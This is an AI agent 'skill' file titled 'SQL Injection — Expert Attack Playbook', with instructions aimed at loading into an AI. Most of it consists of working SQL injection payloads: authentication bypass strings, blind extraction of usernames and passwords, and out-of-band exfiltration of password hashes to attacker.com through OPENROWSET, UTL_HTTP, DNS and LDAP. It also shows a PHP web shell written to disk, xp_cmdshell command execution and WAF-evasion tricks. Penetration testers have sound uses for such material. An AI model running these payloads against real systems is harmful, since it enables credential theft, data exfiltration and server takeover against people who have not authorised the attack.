sqli-sql-injection

Imported from yaklang/hack-skills (skills/sqli-sql-injection/SKILL.md) via skills.sh. Install upstream with npx skills add yaklang/hack-skills --skill sqli-sql-injection. Copyright stays with the author.

SKILL: SQL Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.

0. RELATED ROUTING

• ghost-bits-cast-attack when the backend is Java with Jackson and your SQL keywords are WAF-blocked — Jackson's charToHex table is indexed by ch & 0xFF, so a Unicode character like 丰 (U+4E30) resolves to hex digit 0 inside a \uXXXX escape sequence, letting you smuggle UNION, SELECT, 1, etc. without the WAF ever seeing them

1. QUICK START

Extended Scenarios

Also load SCENARIOS.md when you need:

• SMB out-of-band exfiltration via LOAD_FILE + UNC paths (Windows MySQL)
• KEY injection / URI injection / non-parameter injection points
• INSERT/DELETE/UPDATE statement injection differences
• ThinkPHP5 array key injection (updatexml error-based)
• Django GIS Oracle utl_inaddr.get_host_name CVE
• ORDER BY / LIMIT injection techniques

Advanced Reference

Also load SQLMAP_ADVANCED.md when you need:

• SQLMap tamper scripts matrix and WAF bypass tamper chain recipes (space2comment, between, charencode, etc.)
• --technique, --risk/--level combinations and --second-url for second-order injection
• --os-shell / --os-pwn OS-level exploitation via SQLMap
• INSERT/UPDATE/DELETE injection patterns with data exfiltration examples
• GraphQL + SQL injection (batched queries, nested field injection, mutation injection)
• DB-specific advanced functions: PostgreSQL dollar-sign quoting, MSSQL linked servers, Oracle DBMS_PIPE/DBMS_SCHEDULER

If you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.

First-pass payload families

Small, stable first-pass set

'
' or 1=1--
' or '1'='1'--
1 or 1=1
') or ('1'='1
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--
'||(SELECT pg_sleep(5))--
1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)
' order by 1--
' union select null--

DBMS routing hints

1. DETECTION — SUBTLE INDICATORS

Most SQLi is found by behavioral differences, not errors:

Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).

2. DATABASE FINGERPRINTING

-- MySQL
VERSION()              -- returns version string
@@datadir              -- data directory
@@global.secure_file_priv  -- file read restriction

-- MSSQL
@@VERSION              -- includes "Microsoft SQL Server"
DB_NAME()              -- current database
USER_NAME()            -- current user

-- Oracle
v$version              -- SELECT banner FROM v$version WHERE ROWNUM=1
sys.database_name      -- current db (alternative)
user                   -- current Oracle user

-- PostgreSQL
version()              -- returns version
current_database()     -- current db
current_user           -- current user

Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.

3. UNION-BASED DATA EXTRACTION

Column count determination:

ORDER BY 1--
ORDER BY 2--
ORDER BY N--   ← until error = N-1 columns

Column type detection (NULL is safest):

UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--  ← find string column

Database-specific string concat (required when column accepts only int):

-- MySQL
CONCAT(username,0x3a,password)

-- MSSQL
username+'|'+password

-- Oracle
username||'|'||password

-- PostgreSQL
username||':'||password

4. BLIND INJECTION — INFERENCE TECHNIQUES

Boolean Blind (conditional response difference)

-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--

-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--

-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'--

Time-Based Blind (no response difference)

-- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--

-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--

-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

5. OUT-OF-BAND (OOB) EXFILTRATION — CRITICAL

Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.

MSSQL — OpenRowSet (requires SQLOLEDB, outbound TCP)

'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) VALUES (@@version)--

-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
  'SQLOLEDB',
  'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
  'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--

Use port 80 or 443 to bypass firewall egress restrictions.

Oracle — UTL_HTTP (HTTP GET with data in URL path)

'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--

Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!

Oracle — UTL_INADDR (DNS exfiltration — often bypasses HTTP restrictions)

'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')--

Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.

Oracle — UTL_SMTP / UTL_TCP

-- Email large data dumps:
UTL_SMTP.SENDMAIL(...)  -- send query results via email

-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)

MySQL — DNS via LOAD_FILE (Windows + UNC path)

SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMB

MySQL — INTO OUTFILE (in-band filesystem write)

SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv=''

6. ESCALATION — OS COMMAND EXECUTION

MSSQL — xp_cmdshell (if enabled, or if sysadmin)

'; EXEC xp_cmdshell('whoami')--

-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

MySQL — UDF (User Defined Functions)

Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.

Oracle — Java Stored Procedures

-- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime

7. SECOND-ORDER INJECTION

Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.

Example attack flow:

1. Register username: admin'--
2. Application safely inserts this into users table
3. Password change function fetches username from session (trusted!) and builds:

   UPDATE users SET password='newpass' WHERE username='admin'--'

4. Comment strips the condition → updates admin's password

Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.

8. PARAMETERIZED QUERY BYPASS SCENARIOS

Parameterized queries do NOT prevent SQLi when:

1. Table/column names are user-controlled — params can't parameterize identifiers:

   -- UNSAFE even with params:
   "SELECT * FROM " + tableName + " WHERE id = ?"

   Mitigation: whitelist-validate table/column names.

2. Partial parameterization — some fields concatenated, others parameterized:

   "SELECT * FROM users WHERE type='" + userType + "' AND id=?"
   -- userType not parameterized → injection

3. IN clause with dynamic count (common mistake in ORMs):

   SELECT * FROM items WHERE id IN (1, 2, ?)  -- only last is parameterized

4. Second-order — data retrieved from DB assumed clean, re-used in query without params.

9. FILTER EVASION TECHNIQUES

Comment Injection (break keywords)

SEL/**/ECT
UN/**/ION
1 UN/**/ION ALL SEL/**/ECT NULL--

Case Variation

UnIoN SeLeCt

URL Encoding

%55NION  -- U
%53ELECT -- S

Whitespace Alternatives

SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users  -- tab
SELECT%0ausername%0aFROM%0ausers  -- newline

String Construction (bypass literal-string detection)

-- MySQL concatenation without quotes:
CHAR(117,115,101,114,110,97,109,101)  -- 'username'

-- Oracle:
CHR(117)||CHR(115)||CHR(101)||CHR(114)

-- MSSQL:
CHAR(117)+CHAR(115)+CHAR(101)+CHAR(114)

10. DATABASE METADATA EXTRACTION

MySQL

SELECT schema_name FROM information_schema.schemata
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT column_name FROM information_schema.columns WHERE table_name='users'

MSSQL

SELECT name FROM master..sysdatabases
SELECT name FROM sysobjects WHERE xtype='U'  -- user tables
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users')

Oracle

SELECT owner,table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
SELECT username,password FROM dba_users  -- requires DBA

PostgreSQL

SELECT datname FROM pg_database
SELECT tablename FROM pg_tables WHERE schemaname='public'
SELECT column_name FROM information_schema.columns WHERE table_name='users'

11. STORED PROCEDURE ABUSE

MSSQL — sp_OAMethod (COM automation)

DECLARE @o INT
EXEC sp_OACreate 'wscript.shell', @o OUT
EXEC sp_OAMethod @o, 'run', NULL, 'cmd.exe /c whoami > C:\out.txt'

Oracle — DBMS_LDAP (outbound LDAP = DNS exfil)

SELECT DBMS_LDAP.INIT((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com',389) FROM dual

12. QUICK REFERENCE — INJECTION TEST STRINGS

'                          -- break string context
''                         -- escaped quote (test handling)
' OR 1=1--                 -- auth bypass attempt  
' OR 'a'='a               -- alternate auth bypass
'; SELECT 1--             -- statement termination
' UNION SELECT NULL--     -- UNION test
' AND 1=1--               -- boolean true
' AND 1=2--               -- boolean false (different response → injectable)
1; WAITFOR DELAY '0:0:3'-- -- MSSQL time delay
1 AND SLEEP(3)--          -- MySQL time delay
1 AND 1=dbms_pipe.receive_message(('a'),3)-- -- Oracle time delay

13. WAF BYPASS MATRIX

Additional WAF bypass patterns:

• Polyglot: SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
• Routed injection: 1' UNION SELECT 0x(inner_payload_hex)-- - where inner payload is another full query hex-encoded
• Second Order: inject into storage, trigger when data is used in another query later
• PDO emulated prepare: when PDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking code

14. WAF BYPASS MATRIX

No-Space Bypass

SELECT/**/username/**/FROM/**/users
SELECT(username)FROM(users)

No-Comma Bypass

-- UNION with JOIN instead of comma:
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- SUBSTRING alternative: SUBSTRING('abc' FROM 1 FOR 1)
-- LIMIT alternative: LIMIT 1 OFFSET 0

Polyglot Injection

SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/

Routed Injection

-- First query returns string used as input to second query:
' UNION SELECT CONCAT(0x222c,(SELECT password FROM users LIMIT 1))--
-- The returned value becomes part of another SQL context

Second-Order Injection

-- Step 1: Register username: admin'--
-- Step 2: Trigger password change (uses stored username in SQL)
-- UPDATE users SET password='new' WHERE username='admin'--'

PDO / Prepared Statement Edge Cases

// Unsafe even with PDO when query structure is dynamic:
$pdo->query("SELECT * FROM " . $_GET['table']);
// Or when using emulated prepares with multi-query:
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

Entry Point Detection (Unicode tricks)

U+02BA ʺ (modifier letter double prime) → "
U+02B9 ʹ (modifier letter prime) → '
%%2727 → %27 → '